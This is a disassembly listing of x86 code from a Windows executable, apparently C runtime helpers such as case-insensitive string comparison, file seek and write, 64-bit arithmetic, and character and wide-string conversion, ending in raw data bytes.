; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D900	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4D97C8
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D953
		mov	al, 0FFh
		mov	edi, edi


loc_41D91C:				; CODE XREF: sub_41D900+28j
					; sub_41D900+48j
		or	al, al
		jz	short loc_41D94E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D91C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D91C
		sbb	al, al
		sbb	al, 0FFh


loc_41D94E:				; CODE XREF: sub_41D900+1Ej
		movsx	eax, al
		jmp	short loc_41D987
; ---------------------------------------------------------------------------


loc_41D953:				; CODE XREF: sub_41D900+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D95C:				; CODE XREF: sub_41D900+68j
					; sub_41D900+80j
		or	al, al
		jz	short loc_41D987
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D95C
		push	eax
		push	ebx
		call	sub_41DEEC
		mov	ebx, eax
		add	esp, 4
		call	sub_41DEEC
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D95C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D987:				; CODE XREF: sub_41D900+51j
					; sub_41D900+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D900	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DA08
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D9AB
		cmp	edi, 1
		jz	short loc_41D9AB
		cmp	edi, 2
		jnz	short loc_41DA08


loc_41D9AB:				; CODE XREF: ___:0041D99Fj
					; ___:0041D9A4j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D9C2
		push	esi
		call	sub_4226CD
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D9C2:				; CODE XREF: ___:0041D9B3j
		push	esi
		call	sub_41E32B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D9D7
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D9EB
; ---------------------------------------------------------------------------


loc_41D9D7:				; CODE XREF: ___:0041D9CEj
		test	al, 1
		jz	short loc_41D9EB
		test	al, 8
		jz	short loc_41D9EB
		test	ah, 4
		jnz	short loc_41D9EB
		mov	dword ptr [esi+18h], 200h


loc_41D9EB:				; CODE XREF: ___:0041D9D5j
					; ___:0041D9D9j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_422633
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41DA15
; ---------------------------------------------------------------------------


loc_41DA08:				; CODE XREF: ___:0041D997j
					; ___:0041D9A9j
		mov	dword_4D9714, 16h
		or	eax, 0FFFFFFFFh


loc_41DA15:				; CODE XREF: ___:0041DA06j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DA20	proc near		; CODE XREF: sub_41364F+19Ep
					; sub_4143AC+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41DA39
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41DA39:				; CODE XREF: sub_41DA20+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41DA20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA54	proc near		; CODE XREF: ___:00416640p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41DA78
		xor	eax, eax
		jmp	loc_41DB45
; ---------------------------------------------------------------------------


loc_41DA78:				; CODE XREF: sub_41DA54+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41DA8B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41DA92
; ---------------------------------------------------------------------------


loc_41DA8B:				; CODE XREF: sub_41DA54+2Dj
		mov	[ebp+arg_C], 1000h


loc_41DA92:				; CODE XREF: sub_41DA54+35j
					; sub_41DA54+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41DAC6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41DAC6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41DAAC
		mov	edi, eax


loc_41DAAC:				; CODE XREF: sub_41DA54+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41CAB0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DB0C
; ---------------------------------------------------------------------------


loc_41DAC6:				; CODE XREF: sub_41DA54+47j
					; sub_41DA54+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DB11
		test	ecx, ecx
		jz	short loc_41DADA
		push	esi
		call	sub_41E32B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DB53


loc_41DADA:				; CODE XREF: sub_41DA54+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41DAED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41DAEF
; ---------------------------------------------------------------------------


loc_41DAED:				; CODE XREF: sub_41DA54+8Aj
		mov	edi, ebx


loc_41DAEF:				; CODE XREF: sub_41DA54+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_422825
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DB4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DB4A


loc_41DB0C:				; CODE XREF: sub_41DA54+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DB3A
; ---------------------------------------------------------------------------


loc_41DB11:				; CODE XREF: sub_41DA54+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F4BF
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DB53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DB3A
		mov	[ebp+arg_C], 1


loc_41DB3A:				; CODE XREF: sub_41DA54+BBj
					; sub_41DA54+DDj
		test	ebx, ebx
		jnz	loc_41DA92
		mov	eax, [ebp+arg_8]


loc_41DB45:				; CODE XREF: sub_41DA54+1Fj
					; sub_41DA54+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DB4A:				; CODE XREF: sub_41DA54+ADj
					; sub_41DA54+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DB55
; ---------------------------------------------------------------------------


loc_41DB53:				; CODE XREF: sub_41DA54+84j
					; sub_41DA54+CFj
		mov	eax, edi


loc_41DB55:				; CODE XREF: sub_41DA54+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DB45
sub_41DA54	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB5E	proc near		; CODE XREF: sub_416C63+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 269058Ah
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DB7E
		nop
		call	near ptr 2680DCDh
		push	eax
		call	sub_420314
		pop	ecx


loc_41DB7A:				; CODE XREF: sub_41DB5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DB7E:				; CODE XREF: sub_41DB5E+Dj
		test	al, 1
		jz	short loc_41DB9F
		test	[esp+arg_4], 2
		jz	short loc_41DB9F
		mov	dword_4D9714, 0Dh
		mov	dword_4D9718, 5
		jmp	short loc_41DB7A
; ---------------------------------------------------------------------------


loc_41DB9F:				; CODE XREF: sub_41DB5E+22j
					; sub_41DB5E+29j
		xor	eax, eax
		retn
sub_41DB5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DBB0	proc near		; CODE XREF: sub_416C7D+3Fp
					; sub_41AE75+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DBD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DC13
; ---------------------------------------------------------------------------


loc_41DBD2:				; CODE XREF: sub_41DBB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DBE0:				; CODE XREF: sub_41DBB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DBE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DC0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DC0E
		jb	short loc_41DC0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DC0F


loc_41DC0E:				; CODE XREF: sub_41DBB0+4Ej
					; sub_41DBB0+54j
		dec	esi


loc_41DC0F:				; CODE XREF: sub_41DBB0+56j
					; sub_41DBB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DC13:				; CODE XREF: sub_41DBB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DBB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DC20	proc near		; CODE XREF: sub_416C7D+2Dp
					; sub_41AE75+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DC41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DC91
; ---------------------------------------------------------------------------


loc_41DC41:				; CODE XREF: sub_41DC20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DC4F:				; CODE XREF: sub_41DC20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DC4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DC7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DC7A
		jb	short loc_41DC82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DC82


loc_41DC7A:				; CODE XREF: sub_41DC20+4Aj
					; sub_41DC20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DC82:				; CODE XREF: sub_41DC20+52j
					; sub_41DC20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DC91:				; CODE XREF: sub_41DC20+1Fj
		pop	ebx
		retn	10h
sub_41DC20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DCA0	proc near		; CODE XREF: sub_416D8D+5Fp
					; sub_416D8D+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DCC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DCC1:				; CODE XREF: sub_41DCA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DCDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DCDD:				; CODE XREF: sub_41DCA0+27j
		or	eax, eax
		jnz	short loc_41DCF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DD3A
; ---------------------------------------------------------------------------


loc_41DCF9:				; CODE XREF: sub_41DCA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DD07:				; CODE XREF: sub_41DCA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DD07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DD35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DD35
		jb	short loc_41DD36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DD36


loc_41DD35:				; CODE XREF: sub_41DCA0+85j
					; sub_41DCA0+8Bj
		dec	esi


loc_41DD36:				; CODE XREF: sub_41DCA0+8Dj
					; sub_41DCA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DD3A:				; CODE XREF: sub_41DCA0+57j
		dec	edi
		jnz	short loc_41DD44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DD44:				; CODE XREF: sub_41DCA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DCA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD4A	proc near		; CODE XREF: sub_41743B+BFp
					; sub_41743B+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4D97D0
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DD7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DDE5


loc_41DD66:				; CODE XREF: sub_41DD4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DD77
		cmp	cl, 7Ah
		jg	short loc_41DD77
		sub	cl, 20h
		mov	[edx], cl


loc_41DD77:				; CODE XREF: sub_41DD4A+21j
					; sub_41DD4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DD66
		jmp	short loc_41DDE5
; ---------------------------------------------------------------------------


loc_41DD7E:				; CODE XREF: sub_41DD4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_4229D2
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DDD7
		push	edi
		call	sub_41BC9B
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DDD7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4D97D0
		call	sub_4229D2
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DDD7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C620
		pop	ecx
		pop	ecx


loc_41DDD7:				; CODE XREF: sub_41DD4A+53j
					; sub_41DD4A+61j ...
		push	[ebp+var_4]
		call	sub_41BA31
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi


loc_41DDE5:				; CODE XREF: sub_41DD4A+1Aj
					; sub_41DD4A+32j
		pop	ebx
		leave
		retn
sub_41DD4A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDE8	proc near		; CODE XREF: sub_417E35+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43A88C, 1
		jle	short loc_41DDFF
		push	4
		push	[esp+4+arg_0]
		call	sub_41F44A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DDFF:				; CODE XREF: sub_41DDE8+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41DDE8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE10	proc near		; CODE XREF: sub_420445+76p
					; sub_420445+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43A88C, 1
		jle	short loc_41DE27
		push	8
		push	[esp+4+arg_0]
		call	sub_41F44A
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DE27:				; CODE XREF: sub_41DE10+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43A680
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41DE10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DE40	proc near		; CODE XREF: sub_418246+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41DE8C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41DE8D
		test	eax, 1
		jz	short loc_41DE6D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41DEBA
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41DE8A


loc_41DE6D:				; CODE XREF: sub_41DE40+20j
					; sub_41DE40+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41DEBA
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41DEBA
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41DE6D


loc_41DE8A:				; CODE XREF: sub_41DE40+2Bj
					; sub_41DE40+84j
		pop	edi
		pop	esi

locret_41DE8C:				; CODE XREF: sub_41DE40+6j
		retn
; ---------------------------------------------------------------------------


loc_41DE8D:				; CODE XREF: sub_41DE40+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41DEC2
		repe cmpsd
		jz	short loc_41DEC2
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41DEB5
		cmp	ch, dh
		jnz	short loc_41DEB5
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41DEB5
		cmp	ch, dh


loc_41DEB5:				; CODE XREF: sub_41DE40+63j
					; sub_41DE40+67j ...
		mov	eax, 0


loc_41DEBA:				; CODE XREF: sub_41DE40+26j
					; sub_41DE40+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DEC2:				; CODE XREF: sub_41DE40+55j
					; sub_41DE40+59j
		test	eax, eax
		jz	short loc_41DE8A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41DEB5
		dec	eax
		jz	short loc_41DEE9
		cmp	dh, ch
		jnz	short loc_41DEB5
		dec	eax
		jz	short loc_41DEE9
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41DEB5
		dec	eax


loc_41DEE9:				; CODE XREF: sub_41DE40+8Fj
					; sub_41DE40+96j
		pop	edi
		pop	esi
		retn
sub_41DE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEEC	proc near		; CODE XREF: sub_418566+6p
					; sub_418584+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4D97D0, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41DF19
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41DFB2
		cmp	eax, 5Ah
		jg	loc_41DFB2
		add	eax, 20h
		jmp	loc_41DFB2
; ---------------------------------------------------------------------------


loc_41DF19:				; CODE XREF: sub_41DEEC+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41DF4D
		cmp	dword_43A88C, esi
		jle	short loc_41DF3B
		push	esi
		push	ebx
		call	sub_41F44A
		pop	ecx
		pop	ecx
		jmp	short loc_41DF45
; ---------------------------------------------------------------------------


loc_41DF3B:				; CODE XREF: sub_41DEEC+42j
		mov	eax, off_43A680
		mov	al, [eax+ebx*2]
		and	eax, esi


loc_41DF45:				; CODE XREF: sub_41DEEC+4Dj
		test	eax, eax
		jnz	short loc_41DF4D


loc_41DF49:				; CODE XREF: sub_41DEEC+ADj
		mov	eax, ebx
		jmp	short loc_41DFB2
; ---------------------------------------------------------------------------


loc_41DF4D:				; CODE XREF: sub_41DEEC+3Aj
					; sub_41DEEC+5Bj
		mov	edx, off_43A680
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41DF71
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41DF7A
; ---------------------------------------------------------------------------


loc_41DF71:				; CODE XREF: sub_41DEEC+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi


loc_41DF7A:				; CODE XREF: sub_41DEEC+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4D97D0
		call	sub_4229D2
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DF49
		cmp	eax, esi
		jnz	short loc_41DFA5
		movzx	eax, [ebp+var_4]
		jmp	short loc_41DFB2
; ---------------------------------------------------------------------------


loc_41DFA5:				; CODE XREF: sub_41DEEC+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_41DFB2:				; CODE XREF: sub_41DEEC+16j
					; sub_41DEEC+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DEEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DFB7	proc near		; CODE XREF: sub_418AA2+ADp
					; sub_419A81+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41DFCE


loc_41DFC4:				; CODE XREF: sub_41DFB7+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41DFC4


loc_41DFCE:				; CODE XREF: sub_41DFB7+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41DFB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFD4	proc near		; CODE XREF: sub_418AA2+7Fp
					; sub_418AA2+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41E0A1
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41E0CE
		cmp	dword_4D97D0, esi
		jnz	short loc_41E025
		cmp	edi, esi
		jbe	loc_41E0CE


loc_41E004:				; CODE XREF: sub_41DFD4+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41E0CE
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41E004
		jmp	loc_41E0CE
; ---------------------------------------------------------------------------


loc_41E025:				; CODE XREF: sub_41DFD4+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_4270F0
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jnz	loc_41E0CD
		nop
		call	near ptr 2680DCDh
		cmp	eax, 7Ah
		jz	short loc_41E05F


loc_41E050:				; CODE XREF: sub_41DFD4+CBj
					; sub_41DFD4+F7j
		mov	dword_4D9714, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E0CE
; ---------------------------------------------------------------------------


loc_41E05F:				; CODE XREF: sub_41DFD4+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx


loc_41E067:				; CODE XREF: sub_41DFD4+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41E089
		mov	edx, off_43A680
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41E07E
		inc	eax


loc_41E07E:				; CODE XREF: sub_41DFD4+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41E067


loc_41E089:				; CODE XREF: sub_41DFD4+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4D97E0
		call	esi
		test	eax, eax
		jnz	short loc_41E0CE
		jmp	short loc_41E050
; ---------------------------------------------------------------------------


loc_41E0A1:				; CODE XREF: sub_41DFD4+Fj
		cmp	dword_4D97D0, esi
		jnz	short loc_41E0B4
		push	[ebp+arg_4]
		call	sub_41B960
		pop	ecx
		jmp	short loc_41E0CE
; ---------------------------------------------------------------------------


loc_41E0B4:				; CODE XREF: sub_41DFD4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4D97E0
		nop
		call	near ptr 2700000h
		cmp	eax, esi
		jz	short loc_41E050


loc_41E0CD:				; CODE XREF: sub_41DFD4+6Bj
		dec	eax


loc_41E0CE:				; CODE XREF: sub_41DFD4+1Aj
					; sub_41DFD4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DFD4	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 0C9583EBh, 0E9B96805h, 0E06C55BBh, 0A1642824h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0ABE890E8h, 33024839h,	89D48AD2h
		dd 4D972C15h, 81C88B00h, 0FFE1h, 280D8900h, 0C1004D97h
		dd 0CA0308E1h, 97240D89h, 0E8C1004Dh, 9720A310h, 0F633004Dh
		dd 2CBE856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C3E8FC75h, 90000050h, 483915E8h, 0ADA4A302h, 81E8004Dh
		dd 0A300004Fh, 4D9788h,	4D2AE8h, 4C6CE800h, 99E80000h
		dd 89FFFFDDh, 458DD075h, 89E850A4h, 9002481Eh, 4BFDE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 2522E856h, 50900227h, 0FE3080E8h,	0A04589FFh
